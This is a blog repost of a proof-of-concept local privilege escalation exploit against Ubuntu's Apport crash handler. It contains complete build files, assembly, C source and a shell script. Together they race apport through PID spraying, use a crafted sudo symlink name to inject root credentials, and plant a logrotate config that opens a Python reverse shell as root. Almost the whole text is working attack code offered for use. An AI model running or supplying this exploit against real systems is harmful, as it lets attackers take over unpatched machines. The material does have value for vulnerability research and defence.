Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86370861

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Apport 2.20 - Local Privilege Escalation
# Date: 18/02/21
# Exploit Author: Gr33nh4t
# Vendor Homepage: https://ubuntu.com/
# Version:

Apport: Ubuntu 20.10 - Before 2.20.11-0ubuntu50.5
Apport: Ubuntu 20.04 - Before 2.20.11-0ubuntu27.16
Apport: Ubuntu 18.04 - Before 2.20.9-0ubuntu7.23
Apport: Ubuntu 16.04 - Before 2.20.1-0ubuntu2.30

# Tested on: Ubuntu 

This is a POC for Apport exploit, we exploited these bugs by launching a reverse shell to 127.0.0.1:1234.

# Setup

To compile the exploit code several packages are needed:
sudo apt-get install build-essential nasm gcc

# Compilation

make

# Run

./exploit.sh

The reverse shell will connect on the next execution of logrotate

nc -l -p 1234

## Makefile ##

.PHONY: all clean

CC=gcc
CFLAGS=

NASM=nasm
NASM_FLAGS=-f elf64

LD=ld


all: exploit crash decoy

exploit: exploit.c
	$(CC) -o $@ $< $(CFLAGS)
	chmod +x $@

crash: crash.o
	$(LD) $^ -o $@

decoy: decoy.o
	$(LD) $^ -o $@

crash.o: crash.asm
	$(NASM) $(NASM_FLAGS) $^ 

decoy.o: decoy.asm
	$(NASM) $(NASM_FLAGS) $^ 


clean:
	rm exploit decoy crash *.o

## crash.asm ##

section .data
	message db 10,"/var/crash/test.log{",10,"    su root root",10,"    daily",10,"    size=0",10,"    firstaction",10,"        python3 -c ", 34, "import sys,socket,os,pty; s=socket.socket();s.connect(('127.0.0.1', 1234));[os.dup2(s.fileno(), fd) for fd in (0,1,2)];pty.spawn('/bin/sh')", 34, ";",10,"    endscript",10,"}",10, 00
	timeval:
	tv_sec	dd 0
	tv_usec dd 0


section .text
	global _start
_start:
	mov dword [tv_sec], 4000000
	mov dword [tv_usec], 0
	mov rax, 35
	mov rdi, timeval
	mov rsi, 0
	syscall

## decoy.asm ##

section .text
	global _start
_start:
	mov dword [0], 0

## exploit.c ## 

#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define PID_THRESHOLD (80)

int read_max_pid_file()
{
	FILE *fd = 0;
	char buf[256];

	fd = fopen("/proc/sys/kernel/pid_max", "r");
	fread(buf, sizeof(buf), 1, fd);
	fclose(fd);
	return atoi(buf);
}

void write_to_fifo_file(char * path)
{
	FILE *fd = 0;
	char buf[] = "A";

	fd = fopen(path, "w");
	fwrite(buf, sizeof(buf), 1, fd);
	fclose(fd);
	return;
}


int main(int argc, char *argv[])
{
	int iteration = 0;
	pid_t crash_pid = -1, temp_pid = -1, spray_pid = -1;
	int current_pid = 0, max_pid = 0;
	int total_pid = 0;

	char *crash_argv[] = {"crash", NULL};
	char *sudo_argv[] = {"sudo", "-S", "sud", NULL};

	char current_dir[1024] = {0};
	char exec_buf[2048] = {0};
	char crash_buf[2048] = {0};

	struct stat sb = {0} ;

	int null_fd = -1;

	signal(SIGCHLD, SIG_IGN);
	getcwd(current_dir, sizeof(current_dir));
	snprintf(exec_buf, sizeof(exec_buf), "%s/%s", current_dir, "a\rUid: 0\rGid: 0");
	snprintf(crash_buf, sizeof(crash_buf), "%s/%s", current_dir, "crash");

	chdir("/etc/logrotate.d/");



	// Creating the crash program
	if (0 == stat(crash_buf, &sb) && sb.st_mode & S_IXUSR)
	{
		crash_pid = fork();
		if (0 == crash_pid)
		{
			execve(crash_buf, crash_argv, NULL);
			exit(0);
		}
		else if(-1 == crash_pid)
		{
			printf("[-] Could not fork program\n");
			return -1;
		}
	}
	else
	{
		printf("[-] Please check crash file executable.");
		return -1;
	}
	

	max_pid = read_max_pid_file();
	printf("[*] crash pid: %d\n", crash_pid);
	printf("[*] max pid: %d\n", max_pid);

	printf("[*] Creating ~%d PIDs\n", max_pid);
    printf("[*] Forking new processes\n");
	sleep(3);

	// Iterating through max_pid to almost reach the crash program pid
	while (iteration < max_pid - 1)
	{
		// Print progress of forks
		if( 0 == (iteration % (int)(max_pid / 5000)))
		{
			printf("\rIteration: %d/%d", iteration + 1, max_pid);
			fflush(stdout);
		}
		temp_pid = -1;
		temp_pid = fork();
		if (0 == temp_pid)
		{
			exit(0);
		}
		else if (temp_pid > 0)
		{
			iteration++;
			// We should stop before the crash pid to avoid other processes created meanwhile to interfere the exploit process
			if ( temp_pid < crash_pid && crash_pid - temp_pid < PID_THRESHOLD)
			{
				printf("\rIteration: %d/%d\n", iteration + 1, max_pid);
				fflush(stdout);
				printf("[+] less then %d pid from the target: last fork=%d , target: %d\n", PID_THRESHOLD, temp_pid, crash_pid);
				break;
			}
		}
		else if (-1 == temp_pid)
		{
			printf("[-] Could not fork temp programs\n");
		}
	}

	printf("[*] Crashing the crash program\n");
	kill(crash_pid, SIGSEGV); // From Now on the seconds apport will launch and we have 30 seconds to exploit it
	sleep(5);
	printf("[*] Killing the crash program\n");
	kill(crash_pid, SIGKILL);
	sleep(3);

	// Now crash pid is free and we need to occupy it
	for(int i=0; i < PID_THRESHOLD ; i++)
	{
		spray_pid = fork();
		if (0 == spray_pid)
		{
			if (crash_pid == getpid())
			{
				null_fd = open("/dev/null", O_WRONLY);
				dup2(null_fd, 1);
				dup2(null_fd, 2);
				close(null_fd);

				printf("[+] Creating suid process\n");
				execve(exec_buf, sudo_argv, NULL);
			}
			exit(0);
		}
	}

	sleep(3);
	printf("[*] Writing to fifo file\n");
	write_to_fifo_file(argv[1]);

	// Now the first apport released and the second apport resumed
	printf("[+] Wrote core file to cwd!\n");
	sleep(10); // Waiting for the second apport to finish execution

	return 0;
}

## exploit.sh ##

#!/bin/sh
set -e
echo "[*] Running exploit"
touch /var/crash/test.log
ulimit -c unlimited

if [ ! -d "~/.config/apport" ]; then
	echo "[*] Settings directory not exists"
	echo "[*] Creating settings directory"
	mkdir -p ~/.config/apport
fi

if [ ! -f "~/.config/apport/settings" ] ; then
	echo "[*] Settings file not exists"
	echo "[main]\nunpackaged=true\n" > ~/.config/apport/settings
	echo "[+] Settings file created"
fi

DECOY_PATH=`realpath ./decoy`
MY_UID=`id -u`
DECOY_CRASH_NAME=`echo "${DECOY_PATH}.${MY_UID}.crash" | sed 's/\//_/g'`
DECOY_CRASH_PATH="/var/crash/${DECOY_CRASH_NAME}"
if [ -f  $DECOY_CRASH_PATH ] || [ -p  $DECOY_CRASH_PATH ] ; then
	echo "[*] decoy crash exists deleting the file"
	rm $DECOY_CRASH_PATH
fi

mkfifo $DECOY_CRASH_PATH
echo "[+] FIFO file created"

./decoy 2>&1 >/dev/null &
killall -SIGSEGV  ./decoy

echo "[+] Decoy process created"

SUDO_PATH=`which sudo`
ln -s $SUDO_PATH "linkchange"
python3 -c "import os; os.rename('./linkchange', 'a\rUid: 0\rGid: 0')"

echo "[+] symlink to sudo created"

./exploit $DECOY_CRASH_PATH

rm $DECOY_CRASH_PATH

sleep 5
if [ -f "/etc/logrotate.d/core" ] ; then
        echo "[*] Exploit succesfully finished"
else
	echo "[*] Exploit failed"
fi

# Kill the sudo process after second apport finished
kill `ps -ef | grep "sudo -S sud" | grep -v grep | awk '{print $2}'`

##